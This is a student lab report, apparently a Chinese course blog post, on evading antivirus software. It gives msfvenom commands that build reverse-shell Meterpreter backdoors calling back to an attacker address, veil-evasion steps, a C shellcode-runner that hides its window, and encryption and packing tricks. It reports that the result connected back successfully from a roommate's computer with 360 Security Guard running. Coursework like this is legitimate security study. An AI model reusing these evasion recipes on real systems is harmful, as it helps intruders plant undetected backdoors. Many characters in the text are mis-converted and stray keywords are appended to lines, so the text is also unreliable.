2018-2019-2 20165316 『網絡對抗技術』Exp3:免殺原理與實踐

2018-2019-2 20165316 『網絡對抗技術』Exp3:免殺原理與實踐

一 免殺原理與實踐說明

(一)、實驗說明

  • 任務一:正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧;(1.5分)php

  • 任務二:經過組合應用各類技術實現惡意代碼免殺(1分)html

  • 任務三:用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(1分)java

(二)、基礎問題回答

  • 問:殺軟是如何檢測出惡意代碼的?
    • 基於特徵來檢測:惡意代碼中通常會有一段有較明顯特徵的代碼也就是特徵碼,若是殺毒軟件檢測到有程序包含的特徵碼與其特徵碼庫的代碼相匹配,就會把該程序看成惡意軟件。
    • 基於行爲來檢測:經過對惡意代碼的觀察、研究,有一些行爲是惡意代碼的共同行爲,並且比較特殊。因此當一個程序在運行時,殺毒軟件會監視其行爲,若是發現了這種特殊的行爲,則會把它當成惡意軟件。
  • 問:免殺是作什麼?
    • 經過使用一些技術手段,讓殺毒軟件沒法識別並分析主機中的惡意代碼。
  • 問:免殺的基本方法有哪些?
    • 改變特徵碼:
      • 只有exe——加殼
      • 有shellcode——利用shellcode生成可執行文件
      • 有源代碼——用其餘語言重寫再編譯
    • 改變行爲:
      • 通信方式:儘可能使用反彈式鏈接、使用隧道技術、加密通信數據等。
      • 操做模式:基於內存操做、減小對系統的修改、加入混淆做用的正常功能代碼等。可是,如今微軟對此彷佛也有所防備。我會在下面的實驗過程當中詳細敘述這種猜測的來源。
  • 問:開啓殺軟能絕對防止電腦中惡意代碼嗎?
    • 顯然不可能,若是有這種想法無疑是掩耳盜鈴。。。。

2、 使用msf編碼器生成後門程序及檢測

一、在《Exp2:後門原理與實踐》博客中,咱們生成了一個後門文件。將其放在virscan.org中進行掃描,結果以下圖所示:算法

能夠看出,70款殺軟中有51款報出了病毒。緣由也可想而知,Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度,只要一有新編碼算法,立刻就會加到特徵庫裏了。shell

二、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令進行屢次編碼。編程

再使用VirusTotal進行掃描,一次迭代結果以下所示:windows

十次迭代結果以下所示:安全

仍然有52款殺軟發現病毒(爲啥一次還比十次少。。。。)。並無什麼卵用。屢次編碼以後的後門,仍是會被大多數殺軟發現並清理的。網絡

3、其餘形式的反彈代碼

1. msfvenom生成jar文件

生成java後門程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar 生成文件以下所示:tcp

掃描結果以下:

2. msfvenom生成php文件

生成PHP後門程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(多是由於php是。。。。) 生成文件以下所示:

掃描結果以下:

想生成更多其餘形式的文件能夠參考學姐的博客

3、使用veil-evasion生成後門程序及檢測

安裝veil-evasion的時候遇到了好多麻煩事,網速賊慢,好不容易下載好了,「展開對象」執行了倆小時還沒結束,去網上也搜不到相關的緣由和解釋,最終仍是拷貝了同窗的虛擬機,若是我有機會能安裝好,我會補一篇安tu裝cao教程的。

一、use evasion啓動evail-evasion:

二、輸入命令use c/meterpreter/rev_tcp.py 進入配置界面

三、設置反彈鏈接IP,命令爲:set LHOST 192.168.1.241,注意此處的IP是KaliIP;設置端口,命令爲:set LPORT 5316:

四、輸入generate生成文件,接着輸入你想要playload的名字:veil_c_5316

五、保存路徑爲/var/lib/veil/output/compiled/veil_c_5316.exe

和之前差很少,看來去年玩爛的東西今年就被查了啊。

四. 半手工注入Shellcode並執行

在《Exp2:後門原理與實踐》博客中,一樣介紹了生成shellcode的方法,此次咱們利用生成的shellcode編寫後門程序,半手工打造惡意軟件。

一、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c語言生成一段shellcode;

二、利用shellcode編寫一個C語言程序後門,在windows下編譯運行後,測試其可用性:

#include <windows.h>
#include <stdio.h>
 
//data段可讀寫
#pragma comment(linker, "/section:.data,RWE") 
//不顯示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")

void main(){
    ((void(*)(void))&shellcode)();//shellcode是你生成的機器碼頭指針
}

不用看都能知道,直接被殺軟殺掉。由於出現了shellcode,能夠看出,明文shellcode見光死。

三、掃描發現,仍有不少殺軟可以掃描出來:

四、此時,個人心境發生了微妙的變化,我使用了新的方法加密了shellcode,讓它不以明文方式出現,下圖中左邊爲解密出來的shellcode,右邊能夠看出kali已經成功得到Windows權限。(呃,這裏本來有一個成功的截圖,可是我看到不要放截圖,就沒放出來。)

五、殺軟沒有發現它,掃描結果僅爲17%。

六、而後,我給它加了一個upx壓縮殼。是沒被殺出來,可是,掃描結果卻沒有上面樂觀。

5、用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

注意:因爲換了網絡,IP地址會發生變化,全部的程序都須要從新生成。(也有可能不會,畢竟一個宿舍一個局域網)

對舍友電腦進行免殺效果測試並回連成功(舍友的殺軟爲最新的360安全衛士11)

離實戰還缺些什麼技術或步驟?

首先,雖然程序可以不被殺軟檢測到,咱們如今只是會一些簡單的綜合利用技術進行改造,但實際上病毒庫時時刻刻再也不更新發展,咱們更須要學會多方面技術來使達到免殺的目的。

其次,但對於實戰來講,惡意代碼如何嵌入被攻擊機中,並讓被控主機運行它對咱們來講仍是一大問題,因此接下來要對如何假裝、吸引被供給端點擊這方面進行學習。

再次,咱們對於編程和計算機內部結構的瞭解還不夠深入,沒有將知識聯繫起來,沒法有效找出計算機的漏洞。

總體來講就是要進行信息收集、漏洞分析,而後根據漏洞構造後門,並隱藏、清理痕跡等。

相關文章
相關標籤/搜索